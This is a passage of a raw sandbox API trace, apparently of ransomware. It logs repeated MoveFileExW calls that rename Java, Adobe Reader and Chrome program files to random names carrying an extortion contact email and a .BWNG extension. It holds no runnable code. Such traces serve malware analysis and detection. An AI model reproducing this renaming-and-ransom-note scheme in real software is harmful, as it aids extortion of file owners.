(x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\[billwong73@yahoo.com].kytj6opu-xxtbyuqk.bwng"), dwFlags=0x1) returned 1 [0106.071] GetTickCount () returned 0x1162359 [0106.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24802370426) returned 1 [0106.072] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\java.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\java.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].G92Lxigs-FyuTorwg.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].g92lxigs-fyutorwg.bwng"), dwFlags=0x1) returned 1 [0106.073] GetTickCount () returned 0x1162359 [0106.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24802515596) returned 1 [0106.073] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\[billwong73@yahoo.com].DYx6j3L1-XzMQjBYG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\[billwong73@yahoo.com].dyx6j3l1-xzmqjbyg.bwng"), dwFlags=0x1) returned 1 [0106.272] GetTickCount () returned 0x1162424 [0106.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24822404533) returned 1 [0106.272] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\[billwong73@yahoo.com].P5Tpj3zb-rnBc32Vi.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\[billwong73@yahoo.com].p5tpj3zb-rnbc32vi.bwng"), dwFlags=0x1) returned 1 [0106.543] GetTickCount () returned 0x116251e [0106.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24849513439) returned 1 [0106.543] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\[billwong73@yahoo.com].bTQ4l5qr-y7BrgrPV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\[billwong73@yahoo.com].btq4l5qr-y7brgrpv.bwng"), dwFlags=0x1) returned 1 [0106.729] GetTickCount () returned 0x11625d9 [0106.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24868142480) returned 1 [0106.729] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ebook.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\[billwong73@yahoo.com].DkdbtPrO-6QLM3FF5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\[billwong73@yahoo.com].dkdbtpro-6qlm3ff5.bwng"), dwFlags=0x1) returned 1 [0106.731] GetTickCount () returned 0x11625d9 [0106.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24868319490) returned 1 [0106.731] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\saveasrtf.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\[billwong73@yahoo.com].s8PdSwxN-5WskYwaj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\[billwong73@yahoo.com].s8pdswxn-5wskywaj.bwng"), dwFlags=0x1) returned 1 [0106.876] GetTickCount () returned 0x1162665 [0106.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24882788653) returned 1 [0106.876] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\adobecollabsync.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\[billwong73@yahoo.com].s6PgdRnM-wzp6Oa36.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\[billwong73@yahoo.com].s6pgdrnm-wzp6oa36.bwng"), dwFlags=0x1) returned 1 [0106.878] GetTickCount () returned 0x1162675 [0106.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24883002842) returned 1 [0106.878] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Multimedia.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\multimedia.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\[billwong73@yahoo.com].3ouWmyeK-zFDklxVG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\[billwong73@yahoo.com].3ouwmyek-zfdklxvg.bwng"), dwFlags=0x1) returned 1 [0106.879] GetTickCount () returned 0x1162675 [0106.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24883138453) returned 1 [0106.879] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\[billwong73@yahoo.com].KhWziaGg-F8JgTq9N.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\[billwong73@yahoo.com].khwziagg-f8jgtq9n.bwng"), dwFlags=0x1) returned 1 [0106.881] GetTickCount () returned 0x1162675 [0106.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24883304801) returned 1 [0106.881] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DigSig.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\digsig.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\[billwong73@yahoo.com].dKZD8kcr-KyctJizz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\[billwong73@yahoo.com].dkzd8kcr-kyctjizz.bwng"), dwFlags=0x1) returned 1 [0106.882] GetTickCount () returned 0x1162675 [0106.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24883462247) returned 1 [0106.883] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\ReadOutLoud.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\readoutloud.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\[billwong73@yahoo.com].ShcTZNip-aiDRtf9e.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\[billwong73@yahoo.com].shctznip-aidrtf9e.bwng"), dwFlags=0x1) returned 1 [0106.884] GetTickCount () returned 0x1162675 [0106.884] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24883588864) returned 1 [0106.884] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\accessibility.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\[billwong73@yahoo.com].qhx332ol-N3t2mqXZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\[billwong73@yahoo.com].qhx332ol-n3t2mqxz.bwng"), dwFlags=0x1) returned 1 [0106.888] GetTickCount () returned 0x1162675 [0106.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24883982171) returned 1 [0106.888] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\IA32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ia32.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\[billwong73@yahoo.com].XzfDS9j2-1oa2AMq3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\[billwong73@yahoo.com].xzfds9j2-1oa2amq3.bwng"), dwFlags=0x1) returned 1 [0106.889] GetTickCount () returned 0x1162675 [0106.889] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24884129942) returned 1 [0106.889] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SendMail.deu" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\sendmail.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\[billwong73@yahoo.com].5DElJtf2-JMcNIKWL.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\[billwong73@yahoo.com].5deljtf2-jmcnikwl.bwng"), dwFlags=0x1) returned 1 [0106.890] GetTickCount () returned 0x1162675 [0106.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24884271961) returned 1 [0106.891] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bolditalic.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].Dj3GAQB2-oLi3DT1P.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].dj3gaqb2-oli3dt1p.bwng"), dwFlags=0x1) returned 1 [0107.007] GetTickCount () returned 0x11626f2 [0107.007] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24895903666) returned 1 [0107.007] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Italic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-italic.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].PXEZgQlC-qYhYDGns.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].pxezgqlc-qyhydgns.bwng"), dwFlags=0x1) returned 1 [0107.008] GetTickCount () returned 0x11626f2 [0107.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24896044508) returned 1 [0107.008] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].pAH2Cmkc-8tJf4o1V.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].pah2cmkc-8tjf4o1v.bwng"), dwFlags=0x1) returned 1 [0107.010] GetTickCount () returned 0x11626f2 [0107.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24896194800) returned 1 [0107.010] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\itl.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\itl.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].qyZOZsgy-87fyzBXd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].qyzozsgy-87fyzbxd.bwng"), dwFlags=0x1) returned 1 [0107.011] GetTickCount () returned 0x11626f2 [0107.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24896339334) returned 1 [0107.011] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lit136.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lit136.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].R273pDJL-Lyj0AkvU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].r273pdjl-lyj0akvu.bwng"), dwFlags=0x1) returned 1 [0107.012] GetTickCount () returned 0x11626f2 [0107.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24896470918) returned 1 [0107.013] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nyn16.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nyn16.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].5HU7HZyU-lTBxlXf2.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].5hu7hzyu-ltbxlxf2.bwng"), dwFlags=0x1) returned 1 [0107.014] GetTickCount () returned 0x11626f2 [0107.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24896603223) returned 1 [0107.014] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rum.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rum.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].99ofyKai-nitGD3Up.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].99ofykai-nitgd3up.bwng"), dwFlags=0x1) returned 1 [0107.015] GetTickCount () returned 0x11626f2 [0107.015] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24896891773) returned 1 [0107.104] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est133.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est133.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].8cFsjKMi-yDEBHrXU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].8cfsjkmi-ydebhrxu.bwng"), dwFlags=0x1) returned 1 [0107.106] GetTickCount () returned 0x116274f [0107.106] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24905791799) returned 1 [0107.106] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\sgr105.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\sgr105.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].HcdVkSDt-8IxL3Odc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].hcdvksdt-8ixl3odc.bwng"), dwFlags=0x1) returned 1 [0107.107] GetTickCount () returned 0x116274f [0107.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24905928454) returned 1 [0107.107] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].QyeeE2ye-hacg8G0r.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].qyeee2ye-hacg8g0r.bwng"), dwFlags=0x1) returned 1 [0107.108] GetTickCount () returned 0x116274f [0107.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24906047405) returned 1 [0107.108] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slvphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slvphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].Lgn7VflS-afn7SZMv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].lgn7vfls-afn7szmv.bwng"), dwFlags=0x1) returned 1 [0107.109] GetTickCount () returned 0x116274f [0107.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24906172401) returned 1 [0107.110] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm92.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm92.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].OjkcnUP1-TigFvYZc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].ojkcnup1-tigfvyzc.bwng"), dwFlags=0x1) returned 1 [0107.111] GetTickCount () returned 0x116275f [0107.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24906329326) returned 1 [0107.111] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\swd58.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\swd58.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].nAnqvV8n-rObKLpbz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].nanqvv8n-robklpbz.bwng"), dwFlags=0x1) returned 1 [0107.112] GetTickCount () returned 0x116275f [0107.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24906449063) returned 1 [0107.112] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hun.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hun.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].EjO58M3v-4Suc5L02.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].ejo58m3v-4suc5l02.bwng"), dwFlags=0x1) returned 1 [0107.114] GetTickCount () returned 0x116275f [0107.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24906577619) returned 1 [0107.114] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lav32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lav32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].8fRbAyWe-RXeEFuCu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].8frbaywe-rxeefucu.bwng"), dwFlags=0x1) returned 1 [0107.118] GetTickCount () returned 0x116275f [0107.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24907071276) returned 1 [0107.119] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nrw56.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nrw56.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].z0p6y2za-Uld91Vcs.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].z0p6y2za-uld91vcs.bwng"), dwFlags=0x1) returned 1 [0107.120] GetTickCount () returned 0x116275f [0107.120] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24907178093) returned 1 [0107.120] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\prt.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\prt.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].uv1eayLe-KsIJuXwg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].uv1eayle-ksijuxwg.bwng"), dwFlags=0x1) returned 1 [0107.360] GetTickCount () returned 0x1162859 [0107.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24931256475) returned 1 [0107.361] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rus32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rus32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].ZkDoIkbZ-LHITCWpb.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].zkdoikbz-lhitcwpb.bwng"), dwFlags=0x1) returned 1 [0107.362] GetTickCount () returned 0x1162859 [0107.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24931449729) returned 1 [0107.363] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slv.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slv.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].DQlsWy8l-oEMT3J4a.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].dqlswy8l-oemt3j4a.bwng"), dwFlags=0x1) returned 1 [0107.364] GetTickCount () returned 0x1162859 [0107.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24931577709) returned 1 [0107.364] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Multimedia.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\multimedia.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].mj5qpLJz-RK2FYyI2.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].mj5qpljz-rk2fyyi2.bwng"), dwFlags=0x1) returned 1 [0107.736] GetTickCount () returned 0x11629cf [0107.736] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24968805460) returned 1 [0107.736] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\[billwong73@yahoo.com].eGqnyjzw-qW9o3u9c.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\[billwong73@yahoo.com].egqnyjzw-qw9o3u9c.bwng"), dwFlags=0x1) returned 1 [0107.738] GetTickCount () returned 0x11629cf [0107.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24968986002) returned 1 [0107.738] MoveFileExW (lpExistingFileName="C:\\Program Files 